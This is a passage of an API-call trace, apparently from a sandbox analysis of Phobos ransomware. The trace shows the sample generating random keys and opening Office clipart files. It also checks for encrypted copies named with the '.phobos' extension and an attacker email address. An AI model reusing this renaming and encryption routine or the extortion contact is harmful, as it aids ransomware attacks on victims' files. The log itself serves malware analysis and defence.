dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.150] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232395.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.156] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=41094) returned 1 [0152.156] CloseHandle (hObject=0x564) returned 1 [0152.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232395.wmf")) returned 0x220 [0152.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232395.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232395.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.157] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232797.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.159] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=35228) returned 1 [0152.159] CloseHandle (hObject=0x564) returned 1 [0152.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232797.wmf")) returned 0x220 [0152.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232797.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232797.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232797.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.161] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233665.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.164] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12588) returned 1 [0152.164] CloseHandle (hObject=0x564) returned 1 [0152.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233665.wmf")) returned 0x220 [0152.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233665.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233665.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.164] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.178] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=38750) returned 1 [0152.178] CloseHandle (hObject=0x564) returned 1 [0152.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233992.wmf")) returned 0x220 [0152.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233992.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233992.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.181] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239057.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.185] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4740) returned 1 [0152.185] CloseHandle (hObject=0x564) returned 1 [0152.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239057.wmf")) returned 0x220 [0152.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239057.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239057.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239057.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.186] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239079.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.189] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4756) returned 1 [0152.189] CloseHandle (hObject=0x564) returned 1 [0152.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239079.wmf")) returned 0x220 [0152.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239079.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239079.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.190] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239611.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.192] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=33828) returned 1 [0152.192] CloseHandle (hObject=0x564) returned 1 [0152.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239611.wmf")) returned 0x220 [0152.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239611.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239611.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.196] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239951.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.198] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7232) returned 1 [0152.198] CloseHandle (hObject=0x564) returned 1 [0152.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239951.wmf")) returned 0x220 [0152.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239951.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239951.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239951.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.199] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239953.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.200] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7112) returned 1 [0152.200] CloseHandle (hObject=0x564) returned 1 [0152.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239953.wmf")) returned 0x220 [0152.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239953.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.200] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239955.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.201] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4936) returned 1 [0152.202] CloseHandle (hObject=0x564) returned 1 [0152.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239955.wmf")) returned 0x220 [0152.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239955.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239955.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.202] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239967.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.203] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5452) returned 1 [0152.203] CloseHandle (hObject=0x564) returned 1 [0152.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239967.wmf")) returned 0x220 [0152.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239967.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239967.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239967.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.207] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239997.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.210] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3288) returned 1 [0152.210] CloseHandle (hObject=0x564) returned 1 [0152.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239997.wmf")) returned 0x220 [0152.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239997.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.210] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240157.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.211] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7672) returned 1 [0152.211] CloseHandle (hObject=0x564) returned 1 [0152.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240157.wmf")) returned 0x220 [0152.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240157.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240157.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240157.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.212] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.214] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=42000) returned 1 [0152.214] CloseHandle (hObject=0x564) returned 1 [0152.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240175.wmf")) returned 0x220 [0152.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240175.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.218] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241037.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.221] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2638) returned 1 [0152.221] CloseHandle (hObject=0x564) returned 1 [0152.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241037.wmf")) returned 0x220 [0152.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241037.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241037.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.221] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241043.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.222] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2738) returned 1 [0152.222] CloseHandle (hObject=0x564) returned 1 [0152.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241043.wmf")) returned 0x220 [0152.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241043.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241043.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.223] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241077.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.224] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2090) returned 1 [0152.224] CloseHandle (hObject=0x564) returned 1 [0152.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241077.wmf")) returned 0x220 [0152.224] 